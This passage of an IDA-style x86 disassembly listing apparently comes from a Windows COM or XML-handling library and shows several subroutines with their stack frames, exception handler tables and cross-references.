		mov	eax, [esi+4Ch]
		mov	[ebp-3Ch], eax
		test	byte ptr [eax+0Ah], 1
		jnz	short loc_69B3E2EC


loc_69B3E2DA:				; CODE XREF: sub_69B3E242+8Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+68h]
		push	dword ptr [ebp+8]
		lea	ecx, [esi+6Ch]
		call	sub_69B199CC


loc_69B3E2EC:				; CODE XREF: sub_69B3E242+96j
		mov	eax, [esi+4Ch]
		mov	[ebp-40h], eax
		or	byte ptr [eax+0Ah], 1
		mov	ecx, esi
		mov	eax, [esi]
		cmp	[esi+81h], bl
		jz	short loc_69B3E305
		push	ebx
		jmp	short loc_69B3E307
; ---------------------------------------------------------------------------


loc_69B3E305:				; CODE XREF: sub_69B3E242+BEj
		push	4


loc_69B3E307:				; CODE XREF: sub_69B3E242+C1j
		call	dword ptr [eax+6Ch]
		lea	edi, [esi+44h]
		mov	[ebp-44h], edi
		push	ebx
		push	edi
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+48h]
		call	sub_69B4D414
		jmp	short loc_69B3E351
; ---------------------------------------------------------------------------


loc_69B3E322:				; DATA XREF: .text:69B3E36Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3E32B:				; DATA XREF: .text:69B3E370o
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		mov	esi, [ebp-1Ch]
		mov	[esi+0B0h], bl
		lea	edi, [esi+44h]
		push	ebx
		push	edi
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+48h]
		call	sub_69B4D414
		call	sub_69B2E860


loc_69B3E351:				; CODE XREF: sub_69B3E242+DEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[esi+0B0h], bl


loc_69B3E35B:				; CODE XREF: sub_69B3E242+1Bj
		call	sub_69B1853C
		retn	4
sub_69B3E242	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3E368	dd 0FFFFFFFFh			dd offset loc_69B3E322
		dd offset loc_69B3E32B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3E374(LPCWSTR lpString)

sub_69B3E374	proc near		; CODE XREF: sub_69B3E43A+Ep
					; sub_69B4F82B+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+lpString]
		push	edi
		mov	edi, ecx
		lea	eax, [edi+6Ch]
		xor	ebx, ebx
		cmp	[eax], esi
		jz	short loc_69B3E3F9
		push	esi
		push	eax
		call	sub_69B17320
		mov	eax, [edi+60h]
		cmp	eax, ebx
		jz	short loc_69B3E3F9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+lpString]
		push	edx
		mov	[esi+20h], eax
		mov	eax, [edi+60h]
		lea	edx, [ebp+var_4]
		push	edx
		mov	[ebp+var_4], ebx
		mov	[ebp+lpString],	ebx
		mov	[ebp+var_8], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		cmp	[ebp+var_4], ebx
		jz	short loc_69B3E3DC
		cmp	[ebp+lpString],	ebx
		jbe	short loc_69B3E3DC
		push	[ebp+lpString]
		push	[ebp+var_4]
		call	sub_69B190C1
		push	eax
		mov	ecx, esi
		call	sub_69B2EB64


loc_69B3E3DC:				; CODE XREF: sub_69B3E374+4Ej
					; sub_69B3E374+53j
		cmp	[esi+18h], ebx
		jnz	short loc_69B3E3F9
		mov	eax, [edi+60h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	[esi+18h], eax
		mov	eax, [edi+60h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	[esi+1Ch], eax


loc_69B3E3F9:				; CODE XREF: sub_69B3E374+14j
					; sub_69B3E374+22j ...
		cmp	[esi+10h], ebx
		jnz	short loc_69B3E433
		mov	eax, [edi+60h]
		cmp	eax, ebx
		jz	short loc_69B3E424
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		cmp	[ebp+lpString],	ebx
		jz	short loc_69B3E424
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, esi
		call	sub_69B2EC0C


loc_69B3E424:				; CODE XREF: sub_69B3E374+8Fj
					; sub_69B3E374+9Ej
		cmp	[esi+10h], ebx
		jnz	short loc_69B3E433
		push	dword ptr [edi+44h]
		mov	ecx, esi
		call	sub_69B2EC0C


loc_69B3E433:				; CODE XREF: sub_69B3E374+88j
					; sub_69B3E374+B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B3E374	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E43A	proc near		; CODE XREF: sub_69B3EE2A+BAp
					; sub_69B3F790+DDp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B2E808
		mov	edi, eax
		push	edi		; lpString
		mov	ecx, esi
		call	sub_69B3E374
		mov	ecx, edi
		call	sub_69B2E804
		cmp	byte ptr [esi+84h], 0
		jnz	short loc_69B3E470
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+64h]
		push	0
		add	esi, 60h
		push	esi
		call	sub_69B17320


loc_69B3E470:				; CODE XREF: sub_69B3E43A+21j
		pop	edi
		pop	esi
		retn	4
sub_69B3E43A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E475	proc near		; CODE XREF: sub_69B3EF04+1Fp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0B4h]
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ecx, ebx
		jz	short loc_69B3E48F
		call	sub_69B88114
		jmp	short loc_69B3E491
; ---------------------------------------------------------------------------


loc_69B3E48F:				; CODE XREF: sub_69B3E475+11j
		xor	eax, eax


loc_69B3E491:				; CODE XREF: sub_69B3E475+18j
		cmp	eax, ebx
		jnz	short loc_69B3E49D
		cmp	[esi+0A0h], ebx
		jz	short loc_69B3E510


loc_69B3E49D:				; CODE XREF: sub_69B3E475+1Ej
		xor	eax, eax
		cmp	dword ptr [esi+40h], 4
		push	ebp
		setnz	al
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_69B3E4B4
		mov	ecx, esi
		call	sub_69B3D989


loc_69B3E4B4:				; CODE XREF: sub_69B3E475+36j
		mov	ecx, [esi+0B4h]
		cmp	ecx, ebx
		jz	short loc_69B3E4C5
		call	sub_69B88114
		jmp	short loc_69B3E4C7
; ---------------------------------------------------------------------------


loc_69B3E4C5:				; CODE XREF: sub_69B3E475+47j
		xor	eax, eax


loc_69B3E4C7:				; CODE XREF: sub_69B3E475+4Ej
		cmp	eax, ebx
		jz	short loc_69B3E4EA
		mov	ecx, [esi+0B4h]
		cmp	ecx, ebx
		jz	short loc_69B3E4DC
		call	sub_69B88114
		jmp	short loc_69B3E4DE
; ---------------------------------------------------------------------------


loc_69B3E4DC:				; CODE XREF: sub_69B3E475+5Ej
		xor	eax, eax


loc_69B3E4DE:				; CODE XREF: sub_69B3E475+65j
		push	ebx		; pvargSrc
		push	ebx		; int
		push	eax		; int
		push	ebx		; int
		call	sub_69B507CB
		add	esp, 10h


loc_69B3E4EA:				; CODE XREF: sub_69B3E475+54j
		lea	eax, [esi+0A4h]
		push	eax
		push	dword ptr [esi+0A0h]
		push	0FFFFFD9Fh
		call	sub_69B509C9
		cmp	ebp, ebx
		mov	edi, eax
		pop	ebp
		jz	short loc_69B3E510
		push	ebx
		mov	ecx, esi
		call	sub_69B3D9B7


loc_69B3E510:				; CODE XREF: sub_69B3E475+26j
					; sub_69B3E475+91j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B3E475	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E516	proc near		; CODE XREF: sub_69B3EDFC+26p
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0B8h]
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ecx, ebx
		jz	short loc_69B3E530
		call	sub_69B88114
		jmp	short loc_69B3E532
; ---------------------------------------------------------------------------


loc_69B3E530:				; CODE XREF: sub_69B3E516+11j
		xor	eax, eax


loc_69B3E532:				; CODE XREF: sub_69B3E516+18j
		cmp	eax, ebx
		jnz	short loc_69B3E53E
		cmp	[esi+0A0h], ebx
		jz	short loc_69B3E59C


loc_69B3E53E:				; CODE XREF: sub_69B3E516+1Ej
		mov	ecx, esi
		call	sub_69B3D989
		mov	ecx, [esi+0B8h]
		cmp	ecx, ebx
		jz	short loc_69B3E556
		call	sub_69B88114
		jmp	short loc_69B3E558
; ---------------------------------------------------------------------------


loc_69B3E556:				; CODE XREF: sub_69B3E516+37j
		xor	eax, eax


loc_69B3E558:				; CODE XREF: sub_69B3E516+3Ej
		cmp	eax, ebx
		jz	short loc_69B3E57B
		mov	ecx, [esi+0B8h]
		cmp	ecx, ebx
		jz	short loc_69B3E56D
		call	sub_69B88114
		jmp	short loc_69B3E56F
; ---------------------------------------------------------------------------


loc_69B3E56D:				; CODE XREF: sub_69B3E516+4Ej
		xor	eax, eax


loc_69B3E56F:				; CODE XREF: sub_69B3E516+55j
		push	ebx		; pvargSrc
		push	ebx		; int
		push	eax		; int
		push	ebx		; int
		call	sub_69B507CB
		add	esp, 10h


loc_69B3E57B:				; CODE XREF: sub_69B3E516+44j
		lea	eax, [esi+0A4h]
		push	eax
		push	dword ptr [esi+0A0h]
		push	0C6h
		call	sub_69B509C9
		push	ebx
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B3D9B7


loc_69B3E59C:				; CODE XREF: sub_69B3E516+26j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B3E516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3E5A2(int, LPCWSTR lpString, int, int)

sub_69B3E5A2	proc near		; CODE XREF: sub_69B5705C+19p
					; sub_69B57908+F3p

arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+lpString]
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], 0Fh
		mov	esi, ecx
		jnz	short loc_69B3E5F3
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	ebx
		call	sub_69B3D5BC
		test	al, al
		jz	short loc_69B3E5F3
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Eh
		mov	edi, eax
		jg	short loc_69B3E5D9
		call	sub_69B2E6D8


loc_69B3E5D9:				; CODE XREF: sub_69B3E5A2+30j
		mov	eax, dword_69B95A6C
		mov	edx, [edi+84h]
		mov	ecx, [esi+70h]
		push	eax
		push	eax
		push	edx
		call	sub_69B3DA18
		mov	edi, eax
		jmp	short loc_69B3E645
; ---------------------------------------------------------------------------


loc_69B3E5F3:				; CODE XREF: sub_69B3E5A2+11j
					; sub_69B3E5A2+23j
		test	ebx, ebx
		jz	short loc_69B3E616
		cmp	word ptr [ebx],	0
		jz	short loc_69B3E616
		cmp	[ebp+arg_0], 5
		mov	ecx, [esi+70h]
		setnz	al
		push	eax		; char
		push	dword ptr [ebp+arg_C] ;	char
		push	[ebp+arg_8]	; int
		push	ebx		; lpString
		call	sub_69B4E09A
		mov	edi, eax


loc_69B3E616:				; CODE XREF: sub_69B3E5A2+53j
					; sub_69B3E5A2+59j
		cmp	[ebp+arg_0], 5
		jnz	short loc_69B3E645
		test	edi, edi
		jz	short loc_69B3E645
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 5
		mov	ebx, [edi+8]
		mov	[ebp+lpString],	eax
		jg	short loc_69B3E636
		call	sub_69B2E6D8


loc_69B3E636:				; CODE XREF: sub_69B3E5A2+8Dj
		mov	eax, [ebp+lpString]
		cmp	ebx, [eax+20h]
		jnz	short loc_69B3E645
		mov	[ebp+arg_0], 12h


loc_69B3E645:				; CODE XREF: sub_69B3E5A2+4Fj
					; sub_69B3E5A2+78j ...
		push	edi
		push	[ebp+arg_0]
		call	sub_69B4D8E4
		push	dword ptr [esi+50h]
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_69B1BE7F
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B3E5A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E662	proc near		; CODE XREF: sub_69B583A8+194p
		push	24h
		push	offset dword_69B3E768
		call	sub_69B19C5C
		mov	esi, ecx
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		cmp	[esi+1Ch], ebx
		jz	short loc_69B3E689
		mov	dword ptr [ebp-1Ch], 80070005h
		jmp	short loc_69B3E6D5
; ---------------------------------------------------------------------------


loc_69B3E689:				; CODE XREF: sub_69B3E662+1Cj
		mov	eax, [ebp+8]
		mov	ecx, [eax+0Ch]
		mov	[ebp-24h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[ebp-28h], eax
		mov	eax, [esi+14h]
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jz	short loc_69B3E6B1
		mov	eax, [eax+0Ch]
		jmp	short loc_69B3E6B3
; ---------------------------------------------------------------------------


loc_69B3E6B1:				; CODE XREF: sub_69B3E662+48j
		xor	eax, eax


loc_69B3E6B3:				; CODE XREF: sub_69B3E662+4Dj
		lea	ecx, [ebp-20h]
		push	ecx		; int
		xor	edi, edi
		inc	edi
		push	edi		; int
		push	eax		; int
		push	dword ptr [ebp-28h] ; lpString
		call	sub_69B3A4BF
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp-28h] ; BSTR
		call	SysFreeString
		cmp	[ebp-1Ch], ebx
		jge	short loc_69B3E6DB


loc_69B3E6D5:				; CODE XREF: sub_69B3E662+25j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3E74F
; ---------------------------------------------------------------------------


loc_69B3E6DB:				; CODE XREF: sub_69B3E662+71j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-20h]
		mov	ecx, esi
		call	sub_69B3DEBD
		mov	[ebp-34h], eax
		mov	[ebp-4], edi
		mov	eax, [esi]
		push	dword ptr [ebp-34h]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		jmp	short loc_69B3E715
; ---------------------------------------------------------------------------


loc_69B3E6FA:				; DATA XREF: .text:69B3E778o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3E703:				; DATA XREF: .text:69B3E77Co
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-34h]
		call	sub_69B8A828
		call	sub_69B2E860
		xor	ebx, ebx


loc_69B3E715:				; CODE XREF: sub_69B3E662+96j
		mov	[ebp-4], ebx
		mov	ecx, [ebp-34h]
		call	sub_69B8A828
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3E746
; ---------------------------------------------------------------------------


loc_69B3E726:				; DATA XREF: .text:69B3E76Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3E72F:				; DATA XREF: .text:69B3E770o
		mov	esp, [ebp-18h]
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B3E746:				; CODE XREF: sub_69B3E662+C2j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230


loc_69B3E74F:				; CODE XREF: sub_69B3E662+77j
		cmp	[ebp-1Ch], ebx
		jz	short loc_69B3E75C
		push	dword ptr [ebp-1Ch]
		call	sub_69B2E8B8


loc_69B3E75C:				; CODE XREF: sub_69B3E662+F0j
		call	sub_69B1853C
		retn	8
sub_69B3E662	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3E768	dd 0FFFFFFFFh			dd offset loc_69B3E726
		dd offset loc_69B3E72F
		align 8
		dd offset loc_69B3E6FA
		dd offset loc_69B3E703

; =============== S U B	R O U T	I N E =======================================



sub_69B3E780	proc near		; CODE XREF: sub_69B57A74+73p
					; sub_69B6B250+126p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+88h]
		test	ecx, ecx
		jnz	short loc_69B3E791
		xor	eax, eax
		jmp	short loc_69B3E7AC
; ---------------------------------------------------------------------------


loc_69B3E791:				; CODE XREF: sub_69B3E780+Bj
		push	edi
		push	[esp+8+arg_0]
		call	sub_69B8B00F
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3E7A9
		mov	ecx, [esi+4Ch]
		call	sub_69B48032


loc_69B3E7A9:				; CODE XREF: sub_69B3E780+1Fj
		mov	eax, edi
		pop	edi


loc_69B3E7AC:				; CODE XREF: sub_69B3E780+Fj
		pop	esi
		retn	4
sub_69B3E780	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E7B0	proc near		; CODE XREF: sub_69B3E825+4Dp
					; .text:69B3E942j ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		lea	ebx, [eax+0D0h]
		mov	esi, ecx
		mov	ecx, [ebx]
		test	ecx, ecx
		push	edi
		jz	short loc_69B3E7CD
		push	0
		push	eax
		call	sub_69B3D8AA


loc_69B3E7CD:				; CODE XREF: sub_69B3E7B0+13j
		lea	edi, [esi+0D4h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B3E7FE
		push	0
		push	4
		call	sub_69B8A458
		push	eax
		push	edi
		call	sub_69B17320
		push	0
		push	4
		call	sub_69B8A4FA
		push	eax
		lea	eax, [esi+0D8h]
		push	eax
		call	sub_69B17320


loc_69B3E7FE:				; CODE XREF: sub_69B3E7B0+26j
		push	esi
		push	ebx
		call	sub_69B2DEB2
		push	[esp+0Ch+arg_0]
		mov	ecx, [edi]
		call	sub_69B8A35C
		push	[esp+0Ch+arg_0]
		mov	ecx, [esi+0D8h]
		call	sub_69B8A35C
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B3E7B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3E825(LPCWSTR lpString, int, int, int)

sub_69B3E825	proc near		; CODE XREF: sub_69B8BD72+DAp

lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	eax, [ebx]
		push	0
		call	dword ptr [eax+3Ch]
		cmp	[ebp+lpString],	0
		mov	esi, eax
		jz	short loc_69B3E846
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		jmp	short loc_69B3E84B
; ---------------------------------------------------------------------------


loc_69B3E846:				; CODE XREF: sub_69B3E825+15j
		mov	eax, offset off_69B1A5AC


loc_69B3E84B:				; CODE XREF: sub_69B3E825+1Fj
		push	eax
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+arg_8]
		mov	[esi+7Ch], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, esi
		mov	[esi+80h], eax
		call	sub_69B3DABE
		push	esi
		mov	ecx, ebx
		mov	byte ptr [eax+2Fh], 1
		call	sub_69B3E7B0
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B3DADB
		mov	eax, [edi]
		mov	ebx, ds:dword_69B27820
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	dword ptr [eax+8]
		mov	ecx, eax
		push	ebx
		call	sub_69B2F3CD
		push	eax
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	byte ptr [esi+0B1h], 1
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B3E825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3E8B5	proc near		; CODE XREF: sub_69B3E947+B9p
					; sub_69B4FDBC+70Ep ...

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, ecx
		mov	[ebp+var_1], bl
		call	sub_69B3D8EC
		test	al, al
		jz	short loc_69B3E93B
		cmp	[esi+8Ch], bl
		jz	short loc_69B3E8E4
		mov	eax, [esi+60h]
		cmp	eax, ebx
		jz	short loc_69B3E8E4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+68h]
		mov	[ebp+var_1], 1


loc_69B3E8E4:				; CODE XREF: sub_69B3E8B5+1Cj
					; sub_69B3E8B5+23j
		mov	ecx, [esi+0D4h]
		push	ebx
		call	sub_69B8A163
		lea	ecx, [eax+0B1h]
		cmp	[ecx], bl
		jz	short loc_69B3E90F
		mov	edx, [eax]
		mov	[ecx], bl
		xor	ecx, ecx
		mov	cl, [eax+8Ch]
		push	ecx
		push	dword ptr [eax+44h]
		mov	ecx, eax
		call	dword ptr [edx+50h]


loc_69B3E90F:				; CODE XREF: sub_69B3E8B5+43j
		cmp	[ebp+var_1], bl
		jz	short loc_69B3E93B
		mov	eax, [esi+0D4h]
		cmp	eax, ebx
		jz	short loc_69B3E923
		cmp	[eax+0Ch], ebx
		jnz	short loc_69B3E93B


loc_69B3E923:				; CODE XREF: sub_69B3E8B5+67j
		mov	ecx, esi
		call	sub_69B3D89C
		test	eax, eax
		jnz	short loc_69B3E93B
		mov	esi, [esi+60h]
		mov	eax, [esi]
		push	ebx
		push	esi
		mov	[ebp+var_1], bl
		call	dword ptr [eax+60h]


loc_69B3E93B:				; CODE XREF: sub_69B3E8B5+14j
					; sub_69B3E8B5+5Dj ...
		mov	al, [ebp+var_1]
		pop	esi
		pop	ebx
		leave
		retn
sub_69B3E8B5	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B3E7B0

; =============== S U B	R O U T	I N E =======================================



sub_69B3E947	proc near		; CODE XREF: sub_69B3EF04+36p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_69B3D8AA
		xor	ebx, ebx
		push	ebx
		lea	eax, [edi+88h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [edi+5Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, edi
		call	sub_69B3D89C
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_69B3E9F1
		mov	eax, [edi+44h]
		push	ebx
		push	eax
		push	0C00CE001h
		call	sub_69B2F944
		mov	edi, [edi+6Ch]
		add	esp, 0Ch
		cmp	edi, ebx
		push	eax
		jz	short loc_69B3E9A2
		mov	ecx, edi
		call	sub_69B2EABC
		jmp	short loc_69B3E9AA
; ---------------------------------------------------------------------------


loc_69B3E9A2:				; CODE XREF: sub_69B3E947+50j
		push	ebp
		call	sub_69B1D342
		mov	edi, eax


loc_69B3E9AA:				; CODE XREF: sub_69B3E947+59j
		cmp	[esi+8Ch], bl
		jz	short loc_69B3E9DC
		cmp	[esi+84h], bl
		jnz	short loc_69B3E9DC
		lea	ebp, [esi+60h]
		mov	eax, [ebp+0]
		cmp	eax, ebx
		jz	short loc_69B3E9CB
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+14h]


loc_69B3E9CB:				; CODE XREF: sub_69B3E947+7Bj
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+64h]
		push	ebx
		push	ebp


loc_69B3E9D5:				; CODE XREF: sub_69B3E947+A8j
		call	sub_69B17320
		jmp	short loc_69B3EA3B
; ---------------------------------------------------------------------------


loc_69B3E9DC:				; CODE XREF: sub_69B3E947+69j
					; sub_69B3E947+71j
		mov	eax, [esi+60h]
		cmp	eax, ebx
		jz	short loc_69B3E9EA
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+14h]


loc_69B3E9EA:				; CODE XREF: sub_69B3E947+9Aj
		push	edi
		add	esi, 6Ch
		push	esi
		jmp	short loc_69B3E9D5
; ---------------------------------------------------------------------------


loc_69B3E9F1:				; CODE XREF: sub_69B3E947+36j
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	[eax+0Ch], ebx
		jz	short loc_69B3EA05
		mov	ecx, esi
		call	sub_69B3E8B5


loc_69B3EA05:				; CODE XREF: sub_69B3E947+B5j
		mov	eax, [edi]
		cmp	[eax+0Ch], ebx
		jnz	short loc_69B3EA3B
		mov	eax, [esi+5Ch]
		cmp	eax, ebx
		jz	short loc_69B3EA1E
		mov	ecx, [eax]
		push	0Bh
		push	dword ptr [esi+60h]
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B3EA1E:				; CODE XREF: sub_69B3E947+CAj
		cmp	[esi+8Ch], bl
		jz	short loc_69B3EA3B
		cmp	[esi+84h], bl
		jnz	short loc_69B3EA3B
		cmp	dword ptr [esi+40h], 4
		jz	short loc_69B3EA3B
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+60h]


loc_69B3EA3B:				; CODE XREF: sub_69B3E947+93j
					; sub_69B3E947+C3j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B3E947	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EA42	proc near		; CODE XREF: Ordinal6+Cp
		push	34h
		push	offset dword_69B3EB48
		call	sub_69B19C5C
		mov	esi, ecx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B3EA69
		mov	eax, 80004005h
		jmp	loc_69B3EB3A
; ---------------------------------------------------------------------------


loc_69B3EA69:				; CODE XREF: sub_69B3EA42+1Bj
		push	ebx
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], ebx
		mov	[ebp-4], ebx
		mov	eax, [ebp+8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B3EA89
		mov	eax, [esi+4Ch]
		mov	[ebp-30h], eax
		jmp	short loc_69B3EADA
; ---------------------------------------------------------------------------


loc_69B3EA89:				; CODE XREF: sub_69B3EA42+3Dj
		cmp	eax, ebx
		jnz	short loc_69B3EA96
		mov	ecx, esi
		call	sub_69B3D6C4
		jmp	short loc_69B3EADA
; ---------------------------------------------------------------------------


loc_69B3EA96:				; CODE XREF: sub_69B3EA42+49j
		mov	ecx, [esi+0E8h]
		mov	[ebp-38h], ecx
		mov	[ebp-3Ch], ecx
		cmp	ecx, ebx
		jz	short loc_69B3EAD2
		cdq
		mov	esi, 190h
		idiv	esi
		mov	esi, [ebp-40h]
		xor	edx, esi
		mov	edi, 3FFh
		and	edx, edi
		xor	esi, edx
		mov	[ebp-40h], esi
		inc	eax
		shl	eax, 0Ah
		and	esi, edi
		xor	eax, esi
		mov	[ebp-40h], eax
		push	eax
		call	sub_69B519E0
		jmp	short loc_69B3EADA
; ---------------------------------------------------------------------------


loc_69B3EAD2:				; CODE XREF: sub_69B3EA42+62j
		mov	esi, [esi+4Ch]
		mov	[ebp-44h], esi
		add	eax, esi


loc_69B3EADA:				; CODE XREF: sub_69B3EA42+45j
					; sub_69B3EA42+52j ...
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jz	short loc_69B3EAFA
		mov	ecx, [eax+8]
		shr	ecx, 0Ah
		test	cl, 1
		jnz	short loc_69B3EAFA
		mov	ecx, eax
		call	sub_69B48B01
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		jmp	short loc_69B3EB22
; ---------------------------------------------------------------------------


loc_69B3EAFA:				; CODE XREF: sub_69B3EA42+9Dj
					; sub_69B3EA42+A8j
		mov	eax, [ebp+0Ch]
		mov	[eax], ebx
		jmp	short loc_69B3EB22
; ---------------------------------------------------------------------------


loc_69B3EB01:				; DATA XREF: .text:69B3EB4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3EB0A:				; DATA XREF: .text:69B3EB50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B3EB22:				; CODE XREF: sub_69B3EA42+B6j
					; sub_69B3EA42+BDj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B3EB3A:				; CODE XREF: sub_69B3EA42+22j
		call	sub_69B1853C
		retn	8
sub_69B3EA42	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B3EB48	dd 0FFFFFFFFh			dd offset loc_69B3EB01
		dd offset loc_69B3EB0A

; =============== S U B	R O U T	I N E =======================================



sub_69B3EB54	proc near		; CODE XREF: Ordinal9+8p

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+0E8h], 0
		jnz	short loc_69B3EB74
		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B3EB74
		test	eax, eax
		jz	short loc_69B3EB74
		mov	ecx, [ecx+4Ch]
		add	ecx, eax
		call	sub_69B48B39


loc_69B3EB74:				; CODE XREF: sub_69B3EB54+7j
					; sub_69B3EB54+10j ...
